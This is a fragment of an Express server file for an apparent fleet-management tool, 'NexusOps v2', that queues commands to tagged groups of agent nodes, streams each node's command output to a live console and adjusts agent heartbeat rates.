|
|
|
// ═══ API: Groups — list distinct tags across nodes ═══
|
|
app.get('/api/groups', (req, res) => {
|
|
const tagCounts = {};
|
|
nodes.forEach(n => (n.tags || []).forEach(t => { tagCounts[t] = (tagCounts[t] || 0) + 1; }));
|
|
res.json({ groups: Object.entries(tagCounts).map(([tag, count]) => ({ tag, count })) });
|
|
});
|
|
|
|
// ═══ API: Bulk command by group tag ═══
|
|
app.post('/api/groups/command', (req, res) => {
|
|
const { command, actionType, payload, tag } = req.body;
|
|
const targets = Array.from(nodes.values()).filter(n =>
|
|
n.status === 'online' && (!tag || tag === 'all' || (n.tags || []).includes(tag)));
|
|
if (targets.length === 0) return res.status(400).json({ error: 'No online nodes in group' });
|
|
const queuedIds = [];
|
|
targets.forEach(node => {
|
|
const commandId = `cmd-grp-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: commandId, actionType: actionType || 'raw_command',
|
|
payload: payload || { command }, command: command || actionType, createdAt: Date.now()
|
|
});
|
|
commandHistory.push({
|
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
|
command: `[GROUP:${tag || 'all'}] ${command || actionType}`,
|
|
status: 'queued', createdAt: Date.now(), output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, count: targets.length, commandIds: queuedIds });
|
|
});
|
|
|
|
// ═══ Live Console: SSE stream per node ═══
|
|
app.get('/api/nodes/:id/console', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
|
res.writeHead(200, {
|
|
'Content-Type': 'text/event-stream',
|
|
'Cache-Control': 'no-cache',
|
|
'Connection': 'keep-alive',
|
|
'X-Accel-Buffering': 'no'
|
|
});
|
|
res.write(`data: ${JSON.stringify({ type: 'connected', nodeId })}\n\n`);
|
|
|
|
if (!consoleBuffers.has(nodeId)) consoleBuffers.set(nodeId, []);
|
|
const buf = consoleBuffers.get(nodeId);
|
|
// replay recent output
|
|
buf.forEach(l => res.write(`data: ${JSON.stringify({ type: 'output', text: l.text, ts: l.ts })}\n\n`));
|
|
|
|
// poll commandHistory for new output belonging to this node
|
|
let lastSeen = Date.now();
|
|
const interval = setInterval(() => {
|
|
// include both command outputs and syslog entries for this node
|
|
commandHistory.forEach(c => {
|
|
if (c.nodeId === nodeId && c.completedAt && c.completedAt > lastSeen && c.output) {
|
|
res.write(`data: ${JSON.stringify({ type: 'output', text: `$ ${c.command}\n${c.output}`, ts: c.completedAt })}\n\n`);
|
|
buf.push({ ts: c.completedAt, text: `$ ${c.command}\n${c.output}` });
|
|
lastSeen = c.completedAt;
|
|
}
|
|
});
|
|
if (buf.length > 200) buf.splice(0, buf.length - 200);
|
|
res.write(`: keepalive\n\n`);
|
|
}, 1500);
|
|
|
|
req.on('close', () => clearInterval(interval));
|
|
});
|
|
|
|
// Request the agent to fast-poll (1s) while console open, slow-poll (5s) after
|
|
app.post('/api/nodes/:id/fastpoll', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
|
const node = nodes.get(nodeId);
|
|
node.heartbeatInterval = req.body && req.body.slow ? 5 : 1;
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
commandQueues.get(nodeId).push({
|
|
id: `poll-${Date.now()}`,
|
|
actionType: 'set_heartbeat_rate',
|
|
payload: { interval: node.heartbeatInterval },
|
|
command: `set_heartbeat_rate ${node.heartbeatInterval}s`,
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, interval: node.heartbeatInterval });
|
|
});
|
|
|
|
console.log('[v2] NexusOps v2 additions loaded: live console, schedules, groups, alerts');
|